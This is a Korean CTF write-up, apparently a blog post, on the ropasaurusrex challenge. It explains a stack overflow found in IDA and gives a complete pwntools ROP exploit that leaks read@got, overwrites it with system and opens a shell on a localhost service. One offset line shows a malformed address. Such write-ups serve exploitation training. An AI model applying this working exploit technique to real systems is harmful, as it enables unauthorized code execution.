Rop를 연습한다면 한번씩 풀고 지나간다는 문제입니다
Ropasaurusrex <== 문제
Note <== Note
Libc <== Libc
적용된 보호기법은....!
넴
ida로 까보면
main에서 Input (함수이름 고친겁니다. 처음에는 sub_뭐시기 일거에요) 를 호출합니다. 그후 write 함수를 이용해서 WIN이라는 문자열을 출력해주네요
Input함수에서는 read함수를 이용해서 buf 값은 받는데...
buf크기는 0x88 인데 받는건 0x100?? BOF!
그다음은 어캐 쉘을 띄울지인데 note파일이나, 문제 이름이나 ROP 라고 외치고있어서 ROP로 공격하는걸로
그리고 프로그램에서 read, write 밖에 쓰지 않아서 read@got 를 system 으로 바꾸어 문제를 해결할 생각
대충 계획이라는 끄적임을 해보면
처음으로 read(0, ASLR 안걸린 스택 주소, "/bin/sh" 길이 = 8) 을 하고 내가 /bin/sh 하면 저 스택주소에 /bin/sh가 들어갈 것이다.
이걸로 /bin/sh는 끝내고 read@got를 덮어야하는데 write(1, read@got 주소, 길이 = 4) 해서 저기에 뭐있는지를 보고
read(0, 주소, 길이=4) 를 써서 system 을 덮는데 system주소는 read간 offset 구해서 찾으면 될거고 저렇게 하면 read@got가 덮이니
read@plt+AAAA+/bin/sh주소 정도로 하면 될거같네요
고로 필요한건
read@plt read@got write@plt pppr ASLR 안걸린 스택주소 offset
차례로 하나하나 구해봅시다만 @plt @got 은 생략
read@plt = 0x0804832c
read@got = 0x0804961c
write@plt = 0x0804830c
PPPR 은 objdump -d [파일이름] | grep "ret" -B 3
0x80484b6
ASLR 안걸린 스택주소 !
objdump -h [파일주소]
dynamic 이나 bss 암거나 골라 쓰세영
저는 bss
0x08049628
마지막 offset!
0xf7edb350 - 0xf78e41940 = 0x99a10
다구한듯 ㅇㅇ,,
read@plt = 0x0804832c
read@got = 0x0804961c
write@plt = 0x0804830c
PPPR = 0x80484b6
bss = 0x08049628
offset = 0x99a10
이젠 공격 ㄱ
#exploit.py from pwn import * PPPR = 0x080484b6 read_plt = 0x0804832c read_got = 0x0804961c write_plt = 0x0804830c bss = 0x08049628 offset = 0x99a10 binsh = "/bin/sh" len_binsh = len(binsh) p = remote("localhost", 9904) pay = "A"*140 pay += p32(read_plt)+p32(PPPR)+p32(0)+p32(bss)+p32(len_binsh) #read(0, bss, 8) => Overwrite /bin/sh to bss pay += p32(write_plt)+p32(PPPR)+p32(1)+p32(read_got)+p32(4) #write(1, read_got, 4) => printf read_got pay += p32(read_plt)+p32(PPPR)+p32(0)+p32(read_got)+p32(4) #read(0, read_got, 4) => Overwrite system to read_got pay += p32(read_plt)+"ABCD"+p32(bss) #read("ABCD", bss) => system(bss) => system("/bin/sh") print "Send Explot : %s" % pay p.send(pay) print "Send /bin/sh : %s" % binsh p.send(binsh) sleep(1) print "Reseving" tm = p.recv(4) print "Reseve Complete!" print "read_got : %x" % u32(tm) sys = u32(tm) - offset print "system : %x" % sys p.send(p32(sys)) sleep(0.3) print "Send system" p.sendline("id") sleep(1) print p.recvline() p.interactive()
스킨 바꿨더니 코드 제대로 안올라감 ㅠㅠ
쨋든 이런식으로 하면 끝나여
'Pwnable' 카테고리의 다른 글
[Pico] ROP 1, 2, 3 (0) | 2017.06.29 |
---|---|
[Pwnium] pwn200 (0) | 2017.06.28 |
[Toddler's Bottle] cmd1 , cmd2 (0) | 2017.05.30 |
[Toddler's Bottle] flag (0) | 2017.05.30 |
[Toddler's Bottle] random (0) | 2017.05.30 |